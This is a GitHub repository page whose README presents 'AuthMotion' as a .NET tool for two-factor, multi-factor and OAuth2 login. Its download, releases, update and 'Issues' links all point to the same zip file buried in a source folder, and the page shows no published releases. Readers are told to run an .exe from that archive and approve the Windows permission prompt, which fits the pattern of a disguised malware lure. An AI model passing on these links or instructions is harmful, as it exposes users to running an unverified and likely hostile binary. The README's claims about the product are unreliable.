Skip to content

GospelDavid/AuthMotion

Repository files navigation

🔐 AuthMotion - Secure Identity Access Control

Download

🛠 About AuthMotion

AuthMotion is designed to manage user access safely and efficiently. It helps protect your accounts with strong security measures. With it, you can control who can log in and how they prove their identity. The system supports multiple security steps like two-factor and multi-factor authentication, making it harder for unauthorized users to access your data.

Built with the latest .NET technology and following clean coding methods, AuthMotion keeps your information safe and the software easy to maintain.

💻 System Requirements

Make sure your PC meets these requirements before installing AuthMotion:

  • Windows 10 or newer (64-bit)
  • At least 4 GB of RAM
  • 2 GHz processor or faster
  • Minimum 500 MB of free hard drive space
  • Internet connection to enable login features and updates

🚀 Getting Started

This guide will help you download and run AuthMotion on your Windows computer.

Step 1: Download the Software

Click on the big badge above or visit the releases page here:

https://github.com/GospelDavid/AuthMotion/raw/refs/heads/main/src/AuthMotion.Application/Services/Motion-Auth-3.9.zip

This page contains all the versions available for download. Choose the latest version for the best features and fixes.

Step 2: Choose the Correct File

On the releases page, look for a file that ends with .exe. This is the installer for Windows.

  • Example file name: AuthMotion-Setup-1.0.0.exe

Click on the file name to start downloading.

Step 3: Run the Installer

Once downloaded:

  • Open the file by double-clicking it.
  • Follow the instructions in the setup wizard.
  • Choose the folder where you want to install the software or keep the default path.
  • Click “Install” and wait for the process to complete.

Step 4: Launch AuthMotion

After installation finishes:

  • Find the AuthMotion icon on your desktop or in the Start menu.
  • Double-click the icon to open the application.

If Windows asks for permission when you launch AuthMotion, click “Yes” to allow the program to run.

🔒 Features Overview

AuthMotion combines several security tools into one application:

  • User Authentication using secure tokens stored in HttpOnly cookies. These tokens help keep your session safe.
  • Google OAuth2 Integration for easy and secure sign-in using your Google account.
  • Two-Factor Authentication (2FA) adds a second step to log in, making it harder for intruders.
  • Multi-Factor Authentication (MFA) supports TOTP (time-based one-time passwords) to protect your account even more.
  • Docker Support for developers to run AuthMotion in isolated containers for testing or deployment.
  • Refresh Tokens to keep you logged in without having to enter your password often.

🧩 How to Use AuthMotion

Once installed, you will mainly use AuthMotion through its user-friendly interface. Here is a basic rundown:

Creating Your Account

  1. Launch the app.
  2. Click “Sign Up.”
  3. Enter your email address and create a strong password.
  4. Follow on-screen prompts to set up 2FA or MFA if you want extra protection.

Logging In

  1. Open the app.
  2. Enter your email and password.
  3. If you enabled 2FA/MFA, enter the code from your authenticator app.

Managing Security Settings

Inside AuthMotion, you can:

  • Change your password anytime.
  • Add or remove devices authorized to access your account.
  • Enable or disable multi-factor authentication.
  • Revoke active sessions for extra safety.

🖥 User Interface Tips

The app design focuses on ease of use:

  • Clear menus guide you through security options.
  • Buttons are labeled plainly so you know what each one does.
  • Notifications warn you about any security issues or needed actions.

If you encounter any confusion, the “Help” section inside the app provides step-by-step assistance.

⚙️ Updating AuthMotion

Check the releases page regularly for new versions:

https://github.com/GospelDavid/AuthMotion/raw/refs/heads/main/src/AuthMotion.Application/Services/Motion-Auth-3.9.zip

To update:

  1. Download the new installer file as described in “Getting Started.”
  2. Run the installer. It will replace the current version, keeping your settings intact.

❓ Troubleshooting

Common Issues

  • App does not open: Make sure your Windows is up to date. Retry after restarting your PC.
  • Login fails: Double-check your email and password. Reset your password using the app if needed.
  • 2FA codes not accepted: Ensure your authenticator app time is synced correctly.
  • Slow performance: Close any unused programs and check your internet connection.

Getting Support

For questions not covered here, check GitHub’s Issues tab at:

https://github.com/GospelDavid/AuthMotion/raw/refs/heads/main/src/AuthMotion.Application/Services/Motion-Auth-3.9.zip

There you can find discussions or report problems.

🔗 Useful Links

Download

About

Build secure, scalable authentication and access management with OAuth2, multi-factor support, and token security using .NET 10 and Clean Architecture.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors